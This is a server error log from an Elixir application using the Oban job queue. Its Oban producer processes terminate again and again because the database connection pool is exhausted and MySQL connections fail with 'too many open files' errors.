** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:44:20.240626Z], limit: 10, uuid: "3e02fa5d-58af-4bce-af8f-edf575942891", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:20.240631Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242481>, refresh_timer: #Reference<0.2525715032.1077411843.213107>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:44:20.239058Z], limit: 5, uuid: "b23f9c4d-d4c9-4d66-8a35-2925883c549f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:20.239064Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242479>, refresh_timer: #Reference<0.2525715032.1099169794.242455>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:44:20.239279Z], limit: 5, uuid: "e63ca181-8ef9-49b9-b2da-d433012beb97", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:20.239284Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.234076>, refresh_timer: #Reference<0.2525715032.1121189889.89388>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:44:20.239338Z], limit: 3, uuid: "888f522b-bbe6-47e9-b399-b72ff4ecd052", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:20.239343Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242482>, refresh_timer: #Reference<0.2525715032.1077411843.213090>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:44:20.239270Z], limit: 20, uuid: "2db6be8f-7680-41d7-b9b7-f1607868802d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:20.239275Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242478>, refresh_timer: #Reference<0.2525715032.1099169794.242470>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:34.963000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:41.558000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:42.470000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:43.623000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:43.795000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:44:33.241833Z], limit: 3, uuid: "d1fde811-d050-4578-974b-cb717ea4546f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:33.241839Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.213335>, refresh_timer: #Reference<0.2525715032.1077411843.213280>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:45.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:44:33.240818Z], limit: 10, uuid: "eed3adab-70de-4e4d-8e61-ec73bf4fb3ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:33.240825Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.213334>, refresh_timer: #Reference<0.2525715032.1077411843.213267>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:44:33.240000Z], limit: 50, uuid: "e9c13054-1ee3-4070-a5da-67f2ebc4469d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:33.240006Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.213257>, refresh_timer: #Reference<0.2525715032.1077411843.213256>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:44:33.242650Z], limit: 20, uuid: "7332980c-d36c-4d53-880b-c5376281d45a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:33.242655Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.213333>, refresh_timer: #Reference<0.2525715032.1077411843.213293>, dispatch_cooldown: 5, running: 